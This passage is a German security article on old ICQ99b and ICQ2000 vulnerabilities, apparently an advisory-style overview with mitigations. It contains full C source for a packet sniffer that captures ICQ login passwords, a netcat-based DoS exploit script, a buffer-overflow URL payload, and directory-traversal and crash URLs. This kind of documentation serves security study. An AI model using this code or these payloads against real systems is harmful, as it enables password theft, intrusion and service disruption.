<p><tt>#define MY_CLIENT_TO_WATCH 0x7F000001</tt>
<br>
<p><tt>static int create_socket(void)</tt>
<br><tt>{</tt>
<br><tt> int s=socket(AF_INET,
SOCK_PACKET, htons(ETH_P_ALL));</tt>
<br><tt> if(s==-1)</tt>
<br><tt> {</tt>
<br><tt>
perror("socket");</tt>
<br><tt>
exit(1);</tt>
<br><tt> }</tt>
<br><tt> return s;</tt>
<br><tt>}</tt>
<p><tt>static void close_socket(int s)</tt>
<br><tt>{</tt>
<br><tt> close(s);</tt>
<br><tt>}</tt>
<p><tt>static void promiscuous(int s, char *iface, int onoff)</tt>
<br><tt>{</tt>
<br><tt> struct ifreq ifr;</tt>
<br><tt> strcpy(ifr.ifr_name,
iface);</tt>
<p><tt> if(ioctl(s, SIOCGIFFLAGS,
&ifr)==-1)</tt>
<br><tt> {</tt>
<br><tt>
perror("SIOCGIFFLAGS");</tt>
<br><tt>
exit(1);</tt>
<br><tt> }</tt>
<p><tt> strcpy(ifr.ifr_name,
iface);</tt>
<br><tt> if(onoff)</tt>
<br><tt>
ifr.ifr_flags|=IFF_PROMISC;</tt>
<br><tt> else</tt>
<br><tt>
ifr.ifr_flags&=~IFF_PROMISC;</tt>
<br><tt> if(ioctl(s, SIOCSIFFLAGS,
&ifr)==-1)</tt>
<br><tt> {</tt>
<br><tt>
perror("SIOCSIFFLAGS");</tt>
<br><tt>
exit(1);</tt>
<br><tt> }</tt>
<br><tt>}</tt>
<p><tt>static __inline__ ip_p(unsigned char *packet, int len)</tt>
<br><tt>{</tt>
<br><tt> if(packet[12]==0x08
&& packet[13]==0x00)</tt>
<br><tt>
return 1;</tt>
<br><tt> return 0;</tt>
<br><tt>}</tt>
<br>
<p><tt>struct icqhdr</tt>
<br><tt>{</tt>
<br><tt> unsigned char version[2]
__attribute((packed)); /* ?? */</tt>
<br><tt> unsigned short command
__attribute((packed));</tt>
<br><tt> unsigned short sequence
__attribute((packed));</tt>
<br><tt> unsigned long uid __attribute((packed));</tt>
<br><tt> unsigned char data[0];</tt>
<br><tt>};</tt>
<p><tt>struct icqack</tt>
<br><tt>{</tt>
<br><tt> unsigned char version[2]
__attribute((packed)); /* ?? */</tt>
<br><tt> unsigned short result
__attribute((packed));</tt>
<br><tt> unsigned short sequence
__attribute((packed));</tt>
<br><tt> unsigned char data[0];</tt>
<br><tt>};</tt>
<p><tt>struct icqstring</tt>
<br><tt>{</tt>
<br><tt> unsigned short len;</tt>
<br><tt> char data[0];</tt>
<br><tt>};</tt>
<p><tt>struct icqlogin</tt>
<br><tt>{</tt>
<br><tt> struct icqhdr hdr __attribute((packed));</tt>
<br><tt> unsigned long dunno
__attribute((packed)); /* 000006FE.L */</tt>
<br><tt> unsigned short pw_len
__attribute((packed));</tt>
<br><tt> unsigned char pw_data[11]
__attribute((packed));</tt>
<br><tt> struct in_addr addr
__attribute((packed));</tt>
<br><tt> /* Rest is a mystery
right now */</tt>
<br><tt> /* 0.L */</tt>
<br><tt> /* 2.L */</tt>
<br><tt> /* 0000004C, 00000000
*/</tt>
<br><tt> /* 00 78 */</tt>
<br><tt>};</tt>
<br>
<p><tt>static void print_icq_string(struct icqstring *s)</tt>
<br><tt>{</tt>
<br><tt> fwrite(s->data, s->len-1,
1, stdout);</tt>
<br><tt>}</tt>
<p><tt>/*</tt>
<br><tt> * Scan a packet for clues</tt>
<br><tt> */</tt>
<br>
<p><tt>static int process_packet(struct sockaddr *sa, unsigned char *packet,
int len)</tt>
<br><tt>{</tt>
<br><tt> int i;</tt>
<br><tt> int lv;</tt>
<br><tt> int d=0;</tt>
<br><tt> static long num=0;</tt>
<br><tt> struct iphdr *iph;</tt>
<br><tt> struct udphdr *udphdr;</tt>
<br><tt> if(strcmp(sa->sa_data,"eth0"))</tt>
<br><tt>
return 0;
/* Wrong port */</tt>
<br><tt> if(!ip_p(packet, len))</tt>
<br><tt>
return 0;</tt>
<p><tt> iph=(struct iphdr *)(packet+14);</tt>
<br><tt> udphdr=(struct udphdr
*)(iph+1);</tt>
<br><tt> /* assume no options
*/</tt>
<p><tt> lv=ntohs(udphdr->len);</tt>
<p><tt> if( udphdr->source !=htons(4000)
&& udphdr->dest!=htons(4000))</tt>
<br><tt> {</tt>
<br><tt>
return 0;</tt>
<br><tt> }</tt>
<p><tt>/* printf("packet %d \r",
++num);*/</tt>
<p><tt> if(iph->saddr==htonl(MY_CLIENT_TO_WATCH))</tt>
<br><tt> {</tt>
<br><tt>
printf("To Server: %d bytes\n", lv);</tt>
<br><tt> }</tt>
<br><tt> else if(iph->daddr==htonl(MY_CLIENT_TO_WATCH))</tt>
<br><tt> {</tt>
<br><tt>
printf("From Server: %d bytes\n", lv);</tt>
<br><tt>
d=1;</tt>
<br><tt> }</tt>
<br><tt> else return 0;</tt>
<br>
<p><tt> i=14+sizeof(struct iphdr);</tt>
<br><tt> if(len-i>lv)</tt>
<br><tt>
len=i+lv;</tt>
<p><tt> i+=sizeof(struct udphdr);</tt>
<p><tt>/* printf("UDP size %d\n",i);*/</tt>
<br><tt> if(i>=sizeof(struct
icqhdr)+sizeof(struct udphdr))</tt>
<br><tt> {</tt>
<br><tt>
struct icqhdr *p=(struct icqhdr *)(udphdr+1);</tt>
<br><tt>
if(d==0)</tt>
<br><tt>
{</tt>
<br><tt>
printf("From %ld\n",p->uid);</tt>
<br><tt>
printf("Version: %d.%d\nCommand ",</tt>
<br><tt>
p->version[1], p->version[0]);</tt>
<br><tt>
switch(p->command)</tt>
<br><tt>
{</tt>
<br><tt>
case 0x000A:</tt>
<br><tt>
printf("Ack");</tt>
<br><tt>
break;</tt>
<br><tt>
case 0x03E8:</tt>
<br><tt>
{</tt>
<br><tt>
struct icqlogin *il=(struct icqlogin *)p;</tt>
<br><tt>
printf("Login Password ");</tt>
<br><tt>
print_icq_string((struct icqstring *)&il->pw_len);</tt>
<br><tt>
printf(" IP %s", inet_ntoa(il->addr));</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>#if 0</tt>
<br><tt>
case 0x0x??</tt>
<br><tt>
{</tt>
<br><tt>
struct in_addr v=*(struct in_addr *)p->data;</tt>
<br><tt>
printf("Ping %s", inet_ntoa(v));</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>#endif</tt>
<br><tt>
case 0x409:</tt>
<br><tt>
{</tt>
<br><tt>
printf("Ping");</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
case 0x0438:</tt>
<br><tt>
{</tt>
<br><tt>
struct icqstring *s=(struct icqstring *)p->data;</tt>
<br><tt>
printf("Disconnect (");</tt>
<br><tt>
print_icq_string(s);</tt>
<br><tt>
printf(")");</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
case 0x0456:</tt>
<br><tt>
{</tt>
<br><tt>
/* data +4,5 is always 0100 */</tt>
<br><tt>
struct icqstring *s=(struct icqstring *)(p->data+6);</tt>
<br><tt>
printf("Message to %ld ", *((long *)p->data));</tt>
<br><tt>
print_icq_string(s);</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
case 0x0460:</tt>
<br><tt>
{</tt>
<br><tt>
printf("Information %ld on ID %d",</tt>
<br><tt>
*((short *)p->data),</tt>
<br><tt>
*((long *)(p->data+2))</tt>
<br><tt>
);</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
case 0x046A:</tt>
<br><tt>
{</tt>
<br><tt>
printf("Information_2 %ld on ID %d",</tt>
<br><tt>
*((short *)p->data),</tt>
<br><tt>
*((long *)(p->data+2))</tt>
<br><tt>
);</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
case 0x04D8:</tt>
<br><tt>
{</tt>
<br><tt>
printf("Status ");</tt>
<br><tt>
switch(*((long *)p->data))</tt>
<br><tt>
{</tt>
<br><tt>
case 0x00:</tt>
<br><tt>
printf("[Away 0]");</tt>
<br><tt>
break;</tt>
<br><tt>
case 0x01:</tt>
<br><tt>
printf("[Away 1]");</tt>
<br><tt>
break;</tt>
<br><tt>
case 0x10:</tt>
<br><tt>
printf("[DND 0]");</tt>
<br><tt>
break;</tt>
<br><tt>
case 0x11:</tt>
<br><tt>
printf("[DND 1]");</tt>
<br><tt>
break;</tt>
<br><tt>
default:</tt>
<br><tt>
printf("%04X",</tt>
<br><tt>
*((long *)p->data));</tt>
<br><tt>
}</tt>
<p><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
default:</tt>
<br><tt>
printf("%04X", p->command);</tt>
<br><tt>
}</tt>
<br><tt>
if(p->sequence)</tt>
<br><tt>
printf("\nSequence %d\n",</tt>
<br><tt>
p->sequence);</tt>
<br><tt>
else</tt>
<br><tt>
printf("\n");</tt>
<br><tt>
}</tt>
<br><tt> }</tt>
<br><tt> if(i>=sizeof(struct
icqack)+sizeof(struct udphdr))</tt>
<br><tt> {</tt>
<br><tt>
struct icqack *p=(struct icqack *)(udphdr+1);</tt>
<br><tt>
if(d==1)</tt>
<br><tt>
{</tt>
<br><tt>
printf("Version: %d.%d\nReply ",</tt>
<br><tt>
p->version[1], p->version[0]);</tt>
<br><tt>
switch(p->result)</tt>
<br><tt>
{</tt>
<br><tt>
case 0x000A:</tt>
<br><tt>
printf("Ack");</tt>
<br><tt>
break;</tt>
<p><tt>
case 0x00E6:</tt>
<br><tt>
printf("Away Reply ");</tt>
<br><tt>
printf("for %ld",</tt>
<br><tt>
*((long *)p->data));</tt>
<br><tt>
break;</tt>
<p><tt>
case 0x0118:</tt>
<br><tt>
{</tt>
<br><tt>
struct icqstring *is;</tt>
<br><tt>
printf("InfoID %d\n",</tt>
<br><tt>
*((short *)p->data));</tt>
<br><tt>
printf("ICQ ID %ld\n",</tt>
<br><tt>
*((long *)p->data+2));</tt>
<br><tt>
is=(struct icqstring *)(p->data+6);</tt>
<br><tt>
printf("Nick ");</tt>
<br><tt>
print_icq_string(is);</tt>
<br><tt>
is=(struct icqstring *)(((char *)is)+is->len+2);</tt>
<br><tt>
printf("\nName ");</tt>
<br><tt>
print_icq_string(is);</tt>
<br><tt>
is=(struct icqstring *)(((char *)is)+is->len+2);</tt>
<br><tt>
printf(" ");</tt>
<br><tt>
print_icq_string(is);</tt>
<br><tt>
is=(struct icqstring *)(((char *)is)+is->len+2);</tt>
<br><tt>
printf("\nEMail ");</tt>
<br><tt>
print_icq_string(is);</tt>
<br><tt>
is=(struct icqstring *)(((char *)is)+is->len+2);</tt>
<br><tt>
printf("\nInfo ");</tt>
<br><tt>
print_icq_string(is);</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
default:</tt>
<br><tt>
printf("%04X", p->result);</tt>
<br><tt>
}</tt>
<br><tt>
if(p->sequence)</tt>
<br><tt>
printf("\nSequence %d\n",</tt>
<br><tt>
p->sequence);</tt>
<br><tt>
else</tt>
<br><tt>
printf("\n");</tt>
<br><tt>
}</tt>
<br><tt> }</tt>
<p><tt> while(i<len)</tt>
<br><tt> {</tt>
<br><tt>
int x;</tt>
<br><tt>
for(x=0; x<8 && i+x<len; x++)</tt>
<br><tt>
{</tt>
<br><tt>
printf("%02X ", packet[i+x]);</tt>
<br><tt>
}</tt>
<br><tt>
printf(" ");</tt>
<br><tt>
for(x=0;x<8 && i+x<len; x++)</tt>
<br><tt>
{</tt>
<br><tt>
unsigned char c=packet[i+x];</tt>
<br><tt>
if(c>=32 && c< 127)</tt>
<br><tt>
printf("%c", c);</tt>
<br><tt>
else</tt>
<br><tt>
printf(".");</tt>
<br><tt>
}</tt>
<br><tt>
printf("\n");</tt>
<br><tt>
i+=8;</tt>
<br><tt> }</tt>
<br><tt> printf("\n");</tt>
<br><tt> fflush(stdout);</tt>
<br><tt> return 0;</tt>
<br><tt>}</tt>
<p><tt>int main(int argc, char *argv[])</tt>
<br><tt>{</tt>
<br><tt> int s;</tt>
<br><tt> unsigned char buf[1600];</tt>
<br><tt> struct sockaddr sa;</tt>
<br><tt> int salen;</tt>
<br><tt> int len;</tt>
<p><tt> s=create_socket();</tt>
<br><tt> promiscuous(s, "eth0",
1);</tt>
<p><tt> while(1)</tt>
<br><tt> {</tt>
<br><tt>
salen=sizeof(sa);</tt>
<br><tt>
if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)</tt>
<br><tt>
{</tt>
<br><tt>
perror("recvfrom");</tt>
<br><tt>
close_socket(s);</tt>
<br><tt>
exit(1);</tt>
<br><tt>
}</tt>
<br><tt>
process_packet(&sa, buf,len);</tt>
<br><tt> }</tt>
<br><tt> printf("An error has
occured.\n");</tt>
<br><tt> close_socket(s);</tt>
<br><tt> exit(0);</tt>
<br><tt>}</tt></blockquote>
Der zweite Fehler findet sich in einer leicht durchschaubaren Sequenz-Nummern-Wahl
bei dieser Kommunikation, welche bei 0 beginnt und mit maximal 100 endet.
Es ist nun einfach möglich eine Authentifizierung vorzutäuschen
oder zu entreissen, wie das schon von IP-Spoofing und TCP-Hijacking bekannt
ist.</blockquote>
<a NAME="3.1.8"></a><b><font size=+1>3.1.8 ICQ99b: Bufferoverflow dank
URL</font></b>
<blockquote>Dieser Angriff wurde erfolgreich auf der finalen Beta-Version
von Windows 2000 getestet: Durch das verschicken der korrupten URL <tt>"http://www.computec.ch/sites.asp?
^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>
<br><tt>^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P!^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð</tt>"
kann auf einem Ziel-System, dass ICQ 99b 1.1.1.1 am Laufen hat, Maschinencode
ausgeführt werden, um zum Beispiel eine Eingabeaufforderung zu öffnen,
ein trojanisches Pferd zu starten oder die gesamte Festplatte zu formatieren.
Der Maschinen-Code wird sofort ausgeführt, sobald der User zur besagten
URL mittels Klick browsen möchte. Einige elementare Zeichen sind in
der besagten URL nicht erlaubt, was ein nützlicher Angriff ziemlich
erschwert: Dazu gehören "," und die beiden "[", OpCode 2C und 01.
<p>Eine einfache Lösung besteht in einer erhöhten Alarmbereitschaft
und Sensibilisierung der Anwender, sobald URLs per ICQ von Anwendern erhalten
werden, die man nicht "gut" kennt. Eine weitaus sicherere Lösung ist
in den Einstellungen automatisch alle URL-Zusendungen verwerfen zu lassen.
Ein Update auf eine neuere ICQ-Version schafft ebenso Abhilfe.</blockquote>
<a NAME="3.1.9"></a><b><font size=+1>3.1.9 ICQ99b: Client-to-Client-Protokoll</font></b>
<blockquote>Dieser Text bezieht sich auf ein ähnliches Problem, wie
das beschrieben zu "Sniffing bei Authentifizierung beim ICQ-Server". Seth
McGann fand heraus, dass das eingesetzt Client-to-Client-Protokoll von
ICQ im gleichen Masse keine genaue Authentifizierung vornimmt, wodurch
Nachrichten und Chat-Request vorgetäuscht und korrupte Dateien im
namen anderen verschickt werden können. Auch stürzt in gewissen
Fällen der ICQ-Client ab, und reisst zugleich das gesamte Windows-System
mit. Auch finden sich zur Kommunikation zwischen zwei Clients keine Vorrichtungen
zum Schutze vor Flood-Attacken und Packet-Relaying ist auch erlaubt. Einige
1'000 Messages an einen Pentium mit 166 MHz vermögen das System komplett
auszulasten.
<p>Der einzige sicherheitsrelevante Vorteil dieses Protokolls besteht in
der stets wechselnden Port-Wahl bei jeder Session: Es werden die Ports
rund um 1024 bis 2000 verwendet.</blockquote>
<a NAME="3.1.10"></a><b><font size=+1>3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi</font></b>
<blockquote>Wurde die "<tt>My ICQ Page</tt>"-Funktionalität aktiviert,
verwandelt sich der heimische PC neben einem Web-Server auch in in einen
File-Server. Hinzu wird auch noch ein CGI-basierendes Gästebuch aktiviert.
Daten, die in dieses Guestbook eingetragen werden, werden von der Datei
"<tt>guestbook.cgi</tt>" verwaltet. Philip Stoev gab bekannt, dass
<br>dieses CGI-Script eine Verwundbarkeit beinhaltet, die zu einer Remote-DoS-Attacke
genutzt werden kann, um den ICQ-Clienten des Opfers abstürzen zu lassen.
Von dieser Attacke betroffen ist ICQ Version 99b Beta v3.19 Build #2569
und leider auch 2000a. Möchte ein User durch die Eingabe von "<tt>http://icqstation.example.com/guestbook.cgi</tt>"
im eigenen Web-Browser auf das Script zugreifen, erhält er eine Serverseitige
Meldung, die ihm den Zugriff untersagt. Gibt er jedoch die gleiche URL
nocheinmals ein, gefolgt von einem Fragezeichen am Schluss ("<tt>http://icqstation.example.com/guestbook.cgi?</tt>"),
stürzt der ICQ-Client beim Ziel-System ab. Diese Attacke wurde mit
dem Script <a href="#icqwebfront.sh">icqwebfront.sh</a> von <a href="mailto:mailto:rishi@felons.org?subject=icqwebfront.sh">Bansh33</a>
automatisiert:
<blockquote><a NAME="icqwebfront.sh"></a><tt>#!/bin/sh</tt>
<br><tt># [r00tabega.security.labs]</tt>
<br><tt>#</tt>
<br><tt># ICQ Web Front DOS Exploit by bansh33</tt>
<br><tt># Vulnerability discovered by Mr^Cha0s (Meliksah Ozoral)</tt>
<br><tt># Requires Netcat (nc)</tt>
<br><tt># See www.meliksah.net/adv_icq1.txt for full advisory info.</tt>
<br><tt>#</tt>
<br><tt># -- www.r00tabega.com --</tt>
<br><tt>echo -e "ICQ Web Front DOS Exploit by bansh33 -- www.r00tabega.com"</tt>
<br><tt>echo -e "Enter target host below:"</tt>
<br><tt>read TARGET</tt>
<br><tt>if [ "$TARGET" == "" ];</tt>
<br><tt> then</tt>
<br><tt> echo -e "You must enter a target!"</tt>
<br><tt> exit 1</tt>
<br><tt>fi</tt>
<br><tt>echo "Executing DOS attack against $TARGET"</tt>
<br><tt>echo -n .</tt>
<br><tt>cat > icqwebfront1.tmp << EOF</tt>
<br><tt>POST /guestbook.cgi HTTP/1.0</tt>
<p><tt>name=r00tabega_rox&comments=your world</tt>
<p><tt>EOF</tt>
<p><tt>echo -n .</tt>
<p><tt>cat > icqwebfront2.tmp << DATA</tt>
<br><tt>GET /guestbook.cgi?name=01234567890012345678901234567890 HTTP/1.0</tt>
<br>
<p><tt>DATA</tt>
<p><tt>echo -n o</tt>
<p><tt>cat icqwebfront1.tmp | nc $TARGET 80</tt>
<p><tt>echo -n o</tt>
<p><tt>cat icqwebfront2.tmp | nc $TARGET 80</tt>
<p><tt>echo -n O</tt>
<p><tt>rm -f icqwebfront1.tmp</tt>
<br><tt>rm -f icqwebfront2.tmp</tt>
<p><tt>echo -n O</tt>
<br><tt>echo</tt>
<br><tt>echo "Attack complete. -www.r00tabega.com-"</tt></blockquote>
Wiederum hilft hier in diesem Fall die erweiterten Features zu deaktivieren
und im besten Falle auf eine neuere ICQ-Version upzudaten.</blockquote>
<a NAME="3.1.11"></a><b><font size=+1>3.1.11 ICQ99b: DoS-Attacke durch
URL</font></b>
<blockquote>Selektiert man im ICQ die Option "<tt>Activate my home page</tt>",
fungiert die eigene Maschine als Web-Serverm der ganz regulär auf
dem Standart-Port für HTTP angesprochen werden kann. Gleichzeitig
öffnet sich auch die Funktion, dass das heimische System als File-Server
fungieren kann, wobei das Verzeichnis "<tt>Program files\icq\homepage\root\uin\files</tt>"
automatisch alle darin befindlichen Daten für externe Anwender abrufbar
macht. Gleichzeitig werden noch andere interaktive Gimmicks, wie zum Beispiel
Gästebuch und Chat-System, freigeschaltet. Flaming Dog publizierte
eine Sicherheitslücke unter Windows 95 mit ICQ 99a build #1700, die
es entfernten Benutzern erlaubt eine DoS-Attacke gegen zu starten. Es wird
vermutet, dass alle älteren 99er-Versionen gegen diese Attacken verwundbar
sind. Die persönliche ICQ-Homepage eines Nutzers wird mit der Eingabe
der IP-Adresse im Web-Browser angezeigt. Wird nun nach dem abtrennenden
Slash im Browser von w3m etwa 300 Punkte angefügt (<tt>http://205.188.147.53/...................und
so weiter..../</tt>), so stürzt der ICQ-Client auf dem Ziel-System
ab. Den gleichen effekt kann man bei bei <a href="http://members.icq.com">http://members.icq.com</a>
erzielen.
<p>ICQ99 build #1800 ist gegen diese Attacke gefeilt, und nicht mehr verwundbar.
Somit ist ein Update wiederum die beste Lösung in Anbetracht der nun
zusätzlich folgenden Sicherheitslücke:
<p>Ronald A. Jarrell fand zusätzlich heraus, dass bei einem System,
dass jenen Service mit ICQ 99a build 1700 v2.13 zur Verfügung stellt,
der ICQ-Client und Web-Server-Teil abgestürzt werden lassen kann.
Dazu muss einfach eine Telnet-Sitzung auf Port 80 (HTTP) zum Zielsystem
aufgebaut und irgendwelchen Müll eingegeben werden: "<tt>quit<cr></tt>"
würde in diesem Fall schon reichen, um den Windows-Clienten in die
Knie zu zwingen. Mit der Eingabe von "<tt>GET ..........und so weiter</tt>"
kann der Web-Server-Teil heruntergerissen werden. Die DoS-Attacken gegen
den Web-Server funktioniert auf Windows NT-Maschinen, jedoch nicht bei
Windows 95. Wie sich Windows 98 und Windows 2000 verhält, ist nicht
genau klar.</blockquote>
<a NAME="3.1.12"></a><b><font size=+1>3.1.12 ICQ99b: File-Sharing</font></b>
<blockquote>Selektiert man im ICQ die Option "<tt>Activate my home page</tt>",
fungiert die eigene Maschine als Web-Serverm der ganz regulär auf
dem Standart-Port für HTTP angesprochen werden kann. Gleichzeitig
öffnet sich auch die Funktion, dass das heimische System als File-Server
fungieren kann, wobei das Verzeichnis "<tt>Program files\icq\homepage\root\uin\files</tt>"
automatisch alle darin befindlichen Daten für externe Anwender abrufbar
macht. Gleichzeitig werden noch andere interaktive Gimmicks, wie zum Beispiel
Gästebuch und Chat-System, freigeschaltet. Ist der Web-Server aktiviert,
kann jeder User alle Daten auf der lokalen Festplatte einsehen, wie Jan
Vogelsang herausfand. Dazu nötig ist ein simpler Web-Browser, mit
welchem man durch die Eingabe von "<tt>http://members.icq.com/<ICQ-UIN>/</tt>"
direkt auf den privaten Computer per TCP-Port 80 (HTTP) zugreift. Ein solcher
Zugriff führt die lokalen Daten in "<tt>/ICQ99/Homepage/<ICQ-UIN>/personal/</tt>"
zu Tage. Ein Besucher kann nun ganz einfach mittels Punkten die Verzeichnisse
"heraushüpfen", um jeweils eine Hierarchie-Stufe höher im Verzeichnis-System
vorzudringen. Die Eingabe von "<tt>http://<IP-Adresse>/...../passwd.html</tt>"
würde ihm nun den Inhalt der Datei passwd.html im ICQ99-Verzeichnis
anzeigen. Zwar wird die ganze Harddisk dadurch ersichtlich, jedoch können
eigentlich nur HTML-Dokumente angezeigt werden. Durch einen weiteren Trick
werden jedoch auch Nicht-HTML-Dateien angezeigt. Die Eingabe von "<tt>http://<IP-Adresse>/............./autoexec.bat</tt>"
in den Web-Browser wird die Datei nicht anzeigen lassen. Hingegen bei der
Angabe von "<tt>http://<IP-Adresse>/.html/............./autoexec.bat</tt>"
wird die Datei ganz normal ersichtlich. Diese Angriffs-Form wurde bei ICQ99
Build 1700 und 1547 erfolgreich getestet, und funktioniert unter Windows
9X und Windows NT.
<p><a href="http://www.mirabilis.com/">Mirabilis</a> fixte den Bug in der
darauf folgenden Version Build 1800.</blockquote>
<a NAME="3.1.13"></a><b><font size=+1>3.1.13 ICQ2000: Und was ist damit?</font></b>
<blockquote>Die erste öffentliche frei zugängliche und nutzbare
Version von ICQ2000 erblickte vor nicht allzu langer Zeit das Licht der
Welt und eine Einschätzung über die Sicherheit des Clients wäre
nichts mehr als vage Vermutungen. Auf den ersten Blick kann aber mit einem
erfreuten Lächeln ein erhöhtes Mass an Sicherheit im jüngsten
Windows-Client erkannt werden. Viele dubiose Funktionen, die ein gewisses
Gefahrenpotential in älteren Client-Versionen boten wurden entfernt
oder perfektioniert um eine möglichst gute software- und clientseitige
Schadenseingränzung zu bieten.
<p>Die einzige Gefahr, die in ICQ2000a nicht gebannt werden konnte ist
die DoS-Attacke dank guestbook.cgi, wie am 29. Mai 2000 im Bugtraq-Artikel
1463 und auf Securityfocus (<a href="http://www.securityfocus.com/bid/1463/">http://www.securityfocus.com/bid/1463/</a>)
publiziert wurde.
<p>Ich kann jedem ICQ-Nutzer das Update auf die neueste Version empfehlen,
da prinzipiell die älteren Bugs beseitigt wurden und nebenbei noch
ein erweitertet Funktionsumfang mit gewohntem Komfort geboten wird.</blockquote>
</blockquote>
</blockquote>
</blockquote>
<hr WIDTH="100%">Die aktuellsten Sicherheitslücken von ICQ finden
sich in Deutsch auf meiner Homepage unter <a href="http://www.computec.ch/">http://www.computec.ch/</a>
!
<div align=right>
<hr WIDTH="100%"><font point-size="10">Dieser Text ist unverfälscht
frei kopierbar!</font></div>
<div align=right><font point-size="10">Marc Ruef <<a href="mailto:marc.ruef@computec.ch?subject=Die Sicherheit von ICQ">marc.ruef@computec.ch</a>></font>
<br><font point-size="10"><a href="http://www.computec.ch/">http://www.computec.ch/</a></font></div>
</body>
</html>